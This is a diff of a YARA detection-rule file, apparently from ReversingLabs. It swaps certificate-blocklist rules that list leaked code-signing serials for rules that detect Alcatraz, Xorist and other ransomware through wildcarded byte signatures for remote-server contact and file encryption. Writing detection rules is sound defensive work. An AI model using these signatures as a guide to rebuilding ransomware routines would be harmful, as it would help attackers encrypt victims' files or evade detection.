6A ?? 8D 85 ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57 + C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_server_connection_1 = { + BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B + C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? + 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 + } + $remote_server_connection_2 = { + 84 C0 74 ?? B3 ?? EB ?? 32 DB C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D + ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? + ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? [0-3] 8B 85 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 + 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B + 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 + } + $remote_server_connection_3 = { + 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 + ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F + 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? + EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 FB ?? 72 + } + $remote_server_connection_4 = { + 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D + ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B + C6 EB ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? + ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 + CD E8 ?? ?? ?? ?? 8B E5 5D + } + $encrypt_file = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 51 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? + 8B 35 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 8D 8D ?? ?? ?? + ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BF ?? ?? ?? ?? + 8B 40 ?? 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 0B C7 EB ?? 03 C8 33 C0 39 + 41 ?? 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ?? + ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? + 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? EB ?? 03 C8 33 C0 39 41 ?? + 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 83 EC + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 8D ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8D 64 24 ?? 51 8D 55 ?? + 8B CE E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 + ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 74 ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 + C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 + 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D + 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? + C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? + ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? + ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 + ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? + C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? + ?? ?? 8D 45 ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF + 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? C7 45 ?? ?? ?? + ?? ?? 66 89 45 ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? + ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MINDSTORM LLC" and ( pe.signatures [ i ] . serial == "00:d1:83:6b:d3:7c:33:1a:67" or pe.signatures [ i ] . serial == "d1:83:6b:d3:7c:33:1a:67" ) and 1422835199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $ping_apnic and $remote_server_connection_1 and $remote_server_connection_2 and $remote_server_connection_3 and $remote_server_connection_4 and $encrypt_file } - -rule REVERSINGLABS_Cert_Blocklist_2Ca028D1A4De0Eb743135Edecf74D7Af : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Alcatraz : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Alcatraz ransomware." author = "ReversingLabs" - id = "19e1bce7-ad37-5223-b934-b20e78dfd071" - date = "2020-08-05" - modified = "2023-11-08" + id = "7ff37483-ae63-5c82-a355-81ef68e2f663" + date = "2020-07-28" + modified = "2020-07-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1236-L1252" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Alcatraz.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "60b6351194e23153d425eaa0c25f840080a29abb5eb1bbcd41bb76a3d4130edd" + logic_hash = "ddd35c8da0c08bce17cacfba8bb8a8b8a8c08c3e59261a88a79c63b03d29000f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Alcatraz" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "2c:a0:28:d1:a4:de:0e:b7:43:13:5e:de:cf:74:d7:af" and 1341792000 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Dbb14Dcf973Eada14Ece7Ea79C895C11 : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "139f2e4f-7997-5cfd-aba2-dcf8d7525f5e" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1254-L1270" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c73c83f5cb6d840b887e1aa41e96a29529f975434ac27a5aa57f2e14b342f63d" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 + ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? + ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? + ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 + ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? + ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 D0 85 D2 75 ?? 83 7D ?? ?? 74 ?? 6A + ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 75 ?? 83 C8 ?? EB ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? + ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_server = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? + ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D + ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 + ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 + 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 C2 ?? 52 6A ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF 15 + ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B + 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 4D ?? 0F BE 11 83 FA ?? + 74 ?? 8B 45 ?? 03 45 ?? 0F BE 08 83 F9 ?? 74 ?? 8B 55 ?? 03 55 ?? 8B 45 ?? 03 45 ?? + 8A 08 88 0A EB ?? 8B 55 ?? 03 55 ?? C6 02 ?? EB ?? EB ?? EB ?? 83 7D ?? ?? 0F 87 ?? + ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 + FF 15 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_server_2 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 89 45 ?? A1 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 + A1 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 0D ?? ?? ?? ?? 51 68 + ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? + ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 68 + ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 55 ?? + 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D + 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8B 55 ?? 83 + C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 + C0 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 + C0 EB ?? EB ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8B 4D ?? + 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 0F 87 ?? + ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 + FF 15 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "db:b1:4d:cf:97:3e:ad:a1:4e:ce:7e:a7:9c:89:5c:11" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_server and $remote_server_2 } - -rule REVERSINGLABS_Cert_Blocklist_F8C2239De3977B8D4A3Dcbedc9031A51 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Xorist : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Xorist ransomware." author = "ReversingLabs" - id = "3e102d0a-30e3-5f0a-9b67-a5fd15117e69" - date = "2020-08-05" - modified = "2023-11-08" + id = "804ae039-fc3b-5f19-860e-df9efe87ee4d" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1272-L1288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Xorist.yara#L1-L150" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa4f39790bc58b0a50e05e7670abad654d7f3d73e500bd5f054fece4a979ebfa" + logic_hash = "c428838cdd103f62508a23c9333b08567625291e110aa437324ecf37c62dca36" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Xorist" + tc_detection_factor = 5 importance = 25 + strings: + $search_and_encrypt_v1_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F + 84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C ?? 75 ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 + } + $search_and_encrypt_v1_p2 = { + 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? + E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? EB ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? 